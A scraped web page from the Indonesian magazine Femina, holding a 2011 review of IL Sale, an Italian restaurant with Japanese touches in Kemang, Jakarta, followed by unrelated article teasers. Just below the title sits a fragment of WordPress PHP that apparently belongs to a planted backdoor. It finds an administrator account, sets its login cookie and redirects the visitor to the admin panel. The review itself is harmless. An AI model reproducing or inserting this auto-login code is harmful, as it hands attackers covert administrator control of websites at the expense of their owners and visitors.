Rasa Italia Sentuhan Jepang

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Food Review

26 Jul 2011

Mencicipi hidangan Italia autentik mungkin hal biasa untuk Anda. Tapi, menikmati hidangan Italia dengan sentuhan cita rasa Jepang, boleh jadi merupakan pengalaman pertama. Kalau penasaran, Anda bisa berkunjung ke IL Sale, Italian restaurant yang ada di bilangan Kemang, Jakarta.

Di dalam resto asuhan chef asal Kobe, Hirano Hidekazu, ini Anda bisa menikmati sejumlah hidangan Italia, yang sudah dikolaborasi dengan cita rasa Jepang. Salah satunya, Pizza Di un Wasabi. Sekilas, tampilan pizza ini sama seperti pizza khas Italia lain. Tipis, teksturnya renyah, serta berlumur saus tomat dan taburan keju parmesan. Anda akan merasakan perbedaannya ketika gigitan pertama menyentuh lidah. Cita rasa wasabi yang pedas menyengat, akan mengejutkan lidah. Pedas, gurih, dan asam bercampur jadi satu.

Selain pizza, resto yang didekor layaknya kabin sebuah kapal pesiar ini juga menyediakan Capasanta e Uora di Merluzzo. Spaghetti yang diolah bersama carbonara sauce khas Italia. Berbeda dari pasta carbonara lainnya, pasta ini diberi sentuhan bahan Jepang seperti tobiko (telur ikan terbang) ke dalam sausnya dan potongan nori untuk taburannya. Adanya potongan daging kerang yang kenyal, segar, dan tidak beraroma anyir sama sekali di dalamnya, menjadi bonus tersendiri untuk hidangan ini.

Sebagai penetral rasa, Anda bisa mencoba Tiramisu ala IL Sale. Memang, judulnya hanya sebuah tiramisu, namun cita rasanya cukup membuat indra pengecap tak ingin berhenti hanya di satu porsi. Tekstur lady fingers-nya renyah dan berpasir. Balutan keju mascarpone dan krim yang lembut di dalamnya cukup memanjakan lidah. Taburan cokelat bubuk yang menggunung di atasnya membuat sajian ini menjadi penutup yang tak terlupakan. (BLI)

Lokasi: Jl. Kemang Raya No.15 Lt. II, Jakarta Selatan. Telp: (021) 7199869. Harga*): Makanan: Rp28.000 – Rp95.000, Minuman: Rp15.000 – Rp50.000. Jam Buka: Minggu – Kamis (Lunch: Pukul 11.00 – 15.00 WIB, Dinner: Pukul 18.00 – 23.00 WIB), Jumat-Sabtu (Lunch: Pukul 11.00 – 15.00 WIB, Dinner: Pukul 18.00 – 24.00 WIB). Suasana: Seperti berada di sebuah kapal pesiar.

*) Harga dapat berubah sewaktu-waktu, cek sebelum bersantap.

Foto:FF

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id